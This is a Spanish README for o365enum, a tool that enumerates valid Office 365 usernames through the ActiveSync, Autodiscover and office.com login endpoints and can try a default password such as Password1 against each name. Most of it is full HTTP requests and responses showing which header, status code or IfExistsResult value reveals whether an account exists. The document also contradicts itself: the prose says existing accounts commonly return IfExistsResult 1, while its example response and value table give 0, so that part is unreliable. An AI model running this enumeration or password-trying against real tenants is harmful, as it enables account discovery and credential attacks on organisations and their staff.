Enumeración de usuarios de Office 365

Enumera nombres de usuario válidos de Office 365 usando ActiveSync, Autodiscover o la página de inicio de sesión de office.com.

Uso

o365enum leerá los nombres de usuario del archivo proporcionado como primer parámetro. El archivo debe tener un nombre de usuario por línea. La salida está basada en CSV para facilitar el análisis. El estado válido puede ser 0 (usuario inválido), 1 (usuario válido), 2 (usuario válido y contraseña válida).

python3.6 o365enum.py -h
usage: o365enum.py [-h] -u USERLIST [-p PASSWORD] [-n NUM] [-v]
                   [-m {activesync,autodiscover,office.com}]

Office365 User Enumeration Script

optional arguments:
  -h, --help            show this help message and exit
  -u USERLIST, --userlist USERLIST
                        username list one per line (default: None)
  -p PASSWORD, --password PASSWORD
                        password to try (default: Password1)
  -n NUM, --num NUM     # of reattempts to remove false negatives (default: 3)
  -v, --verbose         Enable verbose output at urllib level (default: False)
  -m {activesync,autodiscover,office.com}, --method {activesync,autodiscover,office.com}
                        method to use (default: activesync)

Ejemplo de ejecución:

./o365enum.py -u users.txt -p Password2 -n 1 -m activesync
username,valid
[email protected],0
[email protected],1

Métodos de Enumeración

Enumeración ActiveSync

Este método se basa en el método de grimhacker que envía solicitudes de autenticación HTTP Basic al endpoint de ActiveSync. Sin embargo, comprobar el código de estado ya no funciona, ya que Office365 devuelve un 401 tanto si el usuario existe como si no.

En su lugar, enviamos la misma solicitud pero comprobamos la presencia de un encabezado HTTP personalizado (X-MailboxGuid) para identificar si un nombre de usuario es válido o no.

Cuenta Existente

La siguiente solicitud contiene las siguientes credenciales codificadas en Base64 en el encabezado Authorization: [email protected]:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=

Esto provoca la siguiente respuesta ("401 Unauthorized") con el encabezado X-MailboxGuid presente, indicando que el usuario es válido pero la contraseña no:

Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: d494a4bc-3867-436a-93ef-737f9e0522eb
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-MailboxGuid: aadaf467-cd08-4a23-909b-9702eca5b845 <--- This header leaks the account status (existing)
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-Powered-By: ASP.NET
X-FEServer: AM0PR06CA0096
WWW-Authenticate: Basic Realm="",Negotiate
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close

--snip--

Cuenta Inexistente

La siguiente solicitud contiene las siguientes credenciales codificadas en Base64 en el encabezado Authorization: [email protected]:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==

Esto provoca la siguiente respuesta ("401 Unauthorized" pero esta vez sin el encabezado X-MailboxGuid, indicando que el usuario no es válido.

HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: 2944dbfc-8a1e-4759-a8a2-e4568950601d
X-CalculatedFETarget: DB3PR0102CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate
X-FEProxyInfo: DB3PR0102CA0017.EURPRD01.PROD.EXCHANGELABS.COM
X-CalculatedBETarget: DB7PR04MB5452.eurprd04.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-DiagInfo: DB7PR04MB5452
X-BEServer: DB7PR04MB5452
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-FEServer: DB3PR0102CA0017
X-Powered-By: ASP.NET
X-FEServer: AM0PR04CA0024
Date: Fri, 31 Jan 2020 16:19:11 GMT
Connection: close

--snip--

Enumeración Autodiscover

El endpoint de autodiscover permite enumerar usuarios sin necesidad de un intento de autenticación. El endpoint devuelve un código de estado 200 si el usuario existe y un 302 si el usuario no existe (a menos que la redirección se haga a un servidor Exchange local).

Usuario Existente

GET /autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 97
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: fee7f899-7115-43da-9d34-d3ee19920a89
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 200
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 200
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0008
Date: Mon, 02 Mar 2020 12:50:48 GMT
Connection: close

{"Protocol":"Autodiscoverv1","Url":"https://outlook.office365.com/autodiscover/autodiscover.xml"}

Usuario Inexistente

GET /autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0

HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 277
Content-Type: text/html; charset=utf-8
Location: https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1
Server: Microsoft-IIS/10.0
request-id: 1c50adeb-53ac-41b9-9c34-7045cffbae45
X-CalculatedBETarget: DB6PR0202MB2568.eurprd02.prod.outlook.com
X-BackEndHttpStatus: 302
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: DB6PR0202MB2568
X-BEServer: DB6PR0202MB2568
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 302
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0013
Date: Mon, 02 Mar 2020 12:50:50 GMT
Connection: close

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&amp;Protocol=Autodiscoverv1&amp;RedirectCount=1">here</a>.</h2>
</body></html>

Enumeración Office.com

ADVERTENCIA: Este método solo funciona para organizaciones que son suscriptoras de Exchange Online y que no tienen una implementación local o híbrida de Exchange Server.

Para empresas que usan servidores Exchange locales o alguna implementación híbrida y según alguna configuración que aún no he identificado, el servidor podría devolver un valor que indique que el usuario existe para cualquier nombre de usuario.

El método es útil cuando no quieres gastar un intento de autenticación con 'Password1' :)

Determinar si un usuario existe

La propiedad IfExistsResult se utiliza para describir si y cómo existe una cuenta. Como se discute en este artículo del blog de RSM, los valores son los siguientes:

Usuario Existente

Cuando la cuenta existe, IfExistsResult se establece en uno de los enteros mencionados anteriormente, comúnmente 1.

POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json

{
    "checkPhones": false,
    "isOtherIdpSupported": true,
    "isRemoteNGCSupported": true,
    "federationFlags": 0,
    "isCookieBannerShown": false,
    "isRemoteConnectSupported": false,
    "isSignup": false,
    "originalRequest": "rQIIA--snip--YWSO2",
    "isAccessPassSupported": true,
    "isFidoSupported": false,
    "isExternalFederationDisallowed": false,
    "username": "[email protected]",
    "forceotclogin": false
}

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 177110da-7ce4-4880-b856-be6326078046
x-ms-request-id: c708b83f-4167-4b4c-a1db-d2011ecb3200
x-ms-ests-server: 2.1.9966.8 - AMS2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=ArU-Dva0f59Eg4t_V3VsX_TsYIXWAQAAAFRGxtUOAAAA; expires=Sun, 01-Mar-2020 16:01:26 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=prod; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Fri, 31 Jan 2020 16:01:26 GMT
Connection: close
Content-Length: 587

{
    "Username":"[email protected]",
    "Display":"[email protected]",
    "IfExistsResult":0,
    "ThrottleStatus":0,
    "Credentials":{
        "PrefCredential":1,
        "HasPassword":true,
        "RemoteNgcParams":null,
        "FidoParams":null,
        "SasParams":null
    },
    "EstsProperties":{
        "UserTenantBranding":null,
        "DomainType":3
    },
    "IsSignupDisallowed":true,
    "apiCanary":"--snip--"
}

Usuario Inexistente

Cuando la cuenta no existe, IfExistsResult se establece en 1.

POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json

{
    "checkPhones": false,
    "isOtherIdpSupported": true,
    "isRemoteNGCSupported": true,
    "federationFlags": 0,
    "isCookieBannerShown": false,
    "isRemoteConnectSupported": false,
    "isSignup": false,
    "originalRequest": "rQIIA--snip--YWSO2",
    "isAccessPassSupported": true,
    "isFidoSupported": false,
    "isExternalFederationDisallowed": false,
    "username": "[email protected]",
    "forceotclogin": false
}

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 95bba645-c3b0-4566-b0f4-237bd3df2ca7
x-ms-request-id: fea01b74-7a60-4142-a54d-7aa8f6471c00
x-ms-ests-server: 2.1.9987.14 - WEULR2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=Ai0TKYuyz3BCp7OL29pUnG7sYIXWAQAAABsDztUOAAAA; expires=Sat, 07-Mar-2020 12:57:44 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=estsfd; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Thu, 06 Feb 2020 12:57:43 GMT
Connection: close
Content-Length: 579


{
    "ThrottleStatus": 0,
    "apiCanary": "--snip--",
    "Username": "[email protected]",
    "IfExistsResult": 1,
    "EstsProperties": {
        "UserTenantBranding": null,
        "DomainType": 3
    },
    "Credentials": {
        "PrefCredential": 1,
        "FidoParams": null,
        "RemoteNgcParams": null,
        "SasParams": null,
        "HasPassword": true
    },
    "IsSignupDisallowed": true,
    "Display": "[email protected]"
}

Contribuidores

@jenic - Análisis de argumentos y reducción de falsos negativos.
@Mike-Crowley - Corrección de la descripción de IfExistsResult.

-1	Un error desconocido
0	La cuenta existe y usa ese dominio para autenticación
1	La cuenta no existe
2	La respuesta está siendo limitada
4	Algún error del servidor
5	La cuenta existe, pero está configurada para autenticarse con un proveedor de identidad diferente. Esto podría indicar que la cuenta solo se usa como cuenta personal
6	La cuenta existe, y está configurada para usar tanto el dominio como un proveedor de identidad diferente

o365enum

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